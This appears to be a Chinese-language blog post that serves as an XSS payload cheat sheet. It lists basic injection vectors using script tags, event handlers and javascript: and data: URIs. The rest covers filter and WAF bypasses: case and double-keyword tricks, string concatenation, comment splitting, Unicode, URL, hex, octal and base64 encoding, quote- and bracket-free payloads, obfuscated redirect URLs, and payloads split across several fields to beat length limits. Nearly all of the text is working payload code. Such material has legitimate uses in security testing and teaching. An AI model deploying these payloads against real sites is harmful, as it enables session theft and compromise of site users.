xss代码的构造思路

1、基本语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<script>alert(1)</script>
<script>prompt(1)</script>
<script>confirm(1)</script>
<script>console.log(1)</script> # 如果目标定义了console.log才能弹
<script>alert(document.cookie)</script> # 查看cookie

# 图片加载错误时触发
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
# 鼠标指针移动到元素时触发
<img src=1 onmouseover="alert(1)">
# 鼠标指针移出时触发
<img src=1 onmouseout="alert(1)">

<a href=javascript:alert(1)>
<a href="https://www.qq.com">qq</a>
<a href=javascript:alert('xss')>test</a>
<a href="javascript:a" onmouseover="alert(/xss/)">aa</a>
<a href="" onclick=alert('xss')>a</a>
<a href="" onclick=eval(alert('xss'))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

# 元素上按下鼠标时触发
<p onmousedown="alert(1)">text</p>
# 元素上释放鼠标时触发
<p onmouseup="alert(1)">text</p>

# 元素上点击鼠标时触发
<button onclick="alert(1)">text</button>

<input onfocus="alert('xss');">
# 竞争焦点,从而触发onblur事件
<input onblur=alert("xss") autofocus><input autofocus>
# 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
<input onfocus="alert('xss');" autofocus>
<input name="name" value="">
<input value="" onclick=alert('xss') type="text">
<input name="name" value="" onmouseover=prompt('xss') bad="">
<input name="name" value=""><script>alert('xss')</script>
# 按下按键时触发
<input type="text" onkeydown="alert(1)">
# 按下按键时触发
<input type="text" onkeypress="alert(1)">
# 松开按键式时触发
<input type="text" onkeyup="alert(1)">

<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

<iframe onload=alert("xss");></iframe>
<iframe src=javascript:alert('xss')></iframe>
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
<iframe src="javascript&colon;prompt&lpar;``xss``&rpar;"></iframe>

2、绕过限制

绕过空格

1
2
# 用 / 代替空格
<img/src="x"/onerror=alert("xss");>

绕过关键字

1
2
3
4
5
6
7
8
# 大小写绕过
<ImG sRc=x onerRor=alert("xss");>
# 双写关键字(有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)
<imimgg srsrcc=x onerror=alert("xss");>
# 字符拼接(利用eval)
<img src="x" onerror="a=aler;b=t;c='(xss);';eval(a+b+c)">
# 字符拼接(利用top)
<script>top["al"+"ert"](``xss``);</script>(只有两个``这里是为了凸显出有`符号)

其它字符混淆

1
2
3
4
5
6
7
# 有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,则我们就可以使用其它字符去混淆我们注入的代码了
# 可利用注释、标签的优先级等
<<script>alert("xss");//<</script>
<scri<!--test-->pt>alert("hello world!")</scri<!--test-->pt>
<title><img src=</title>><img src=x onerror="alert(``xss``);">
# 因为title标签的优先级比img的高,所以会先闭合title,从而导致前面的img标签无效
<SCRIPT>var a="\\";alert("xss");//";</SCRIPT>

编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Unicode编码绕过
<img src="x" onerror="&# 97;&# 108;&# 101;&# 114;&# 116;&# 40;&# 34;&# 120;&# 115;&# 115;&# 34;&# 41;&# 59;">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
# url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
# Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
# Hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
# 八进制绕过
<img src=x onerror=alert('\170\163\163')>
# base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">

过滤双引号,单引号

1
2
3
# 如果是html标签中,我们可以不用引号;如果是在js中,我们可以用反引号代替单双引号
<img src="x" onerror=alert(``xss``);>
# 使用编码绕过,具体看上面列举的例子

过滤括号

1
2
# 当括号被过滤的时候可以使用throw来绕过
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

过滤url地址

1
2
3
4
5
6
7
8
9
10
# 使用url编码
<img src="x" onerror=document.location=``http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/``>
# 使用IP
<img src="x" onerror=document.location=``http://2130706433/``>十进制
<img src="x" onerror=document.location=``http://0177.0.0.01/``>八进制
<img src="x" onerror=document.location=``http://0x7f.0x0.0x0.0x1/``>十六进制
<img src="x" onerror=document.location=``//www.baidu.com``>html标签中用//可以代替http://
# 使用\ (注意:在windows下\本身就有特殊用途,是一个path 的写法,所以\在Windows下是file协议,在linux下才会是当前域的协议)
# 使用中文逗号代替英文逗号
<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度

3、绕过思路

一、白名单绕过

1
<title><img src="xxx"></title>

1.闭合标签构造语句

在白名单较为宽松的情况下,” 和 <> 都被放出,可以利用”>先闭合标签,然后构造xss语句来进行触发。

1
<title><img src=""><img src="" onerror="alert(5)"/>"></title>

如果白名单内没有了 “ ,可以利用html的解析优先级来逃离引号来触发xss,在浏览器中会优先解析标签,这样就会优先闭合标签,从而逃出引号的限制来触发xss。

1
<title><img src="</title><img src=1 onerror=alert(1)>"></title>

2.闭合属性构造xss

如果现在白名单中没有了 <> ,那么就不能利用上述方法进行构造,可以考虑闭合src属性,构造新属性来触发xss。

1
<title><img src="x" onerror="alert(1)"></title>

如果白名单中 <> ‘ “ 全部被限制,这时xss利用就变的非常困难,但是如果onerror属性可控的话,可以用html实体编码进行绕过,来构造任意的xss语句。

1
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

二、绕过限制长度

长度限制在20个字符内的绕过,可以使用分段输入xss语句的方式。

1
2
3
4
<p><img src="xxx"></p>

# 基本闭合语句
"><script>alert(1)</script>

基本闭合语句需要用到了27个字符,而且没有缩短的空间,这时候就需要我们找多个点来分段构造xss。

1.利用注释符

1
2
3
<p><img src=""><script>/*"></p>
<p><img src="*/alert(1)/*"></p>
<p><img src="*/</script>"></p>

我们可以看到,分成3段利用注释符,将每段之间的的代码注释掉,从而将三段之间的xss语句连接起来执行。

2.模板字符串

ECMAScript 6.0(简称ES6)是Javascript语言的下一代标准,在2015年6月正式发布。ECMAScript是Javascript的语法规定,JavaScript是ECMAScript的实现。ES5标准中一般是输出模板是通过字符串拼接的方式进行的。在ES6中可以通过模板字符串简化字符串的拼接,模板字符串通过反引号来表示````。模板字符串相当于加强版的字符串,除了作为普通字符串,还可以用来定义多行字符串,还可以在字符串中加入变量和表达式。因此可以使用模板字符串来将分段语句之间的无用代码变为普通字符串,从而拼接xss。

1
2
3
<p><img src=""><script>`"></p>
<p><img src="`;alert(1)`"></p>
<p><img src="`;</script>"></p>

这样就可以利用上述两种方法绕过长度限制去拼接任意的xss语句了。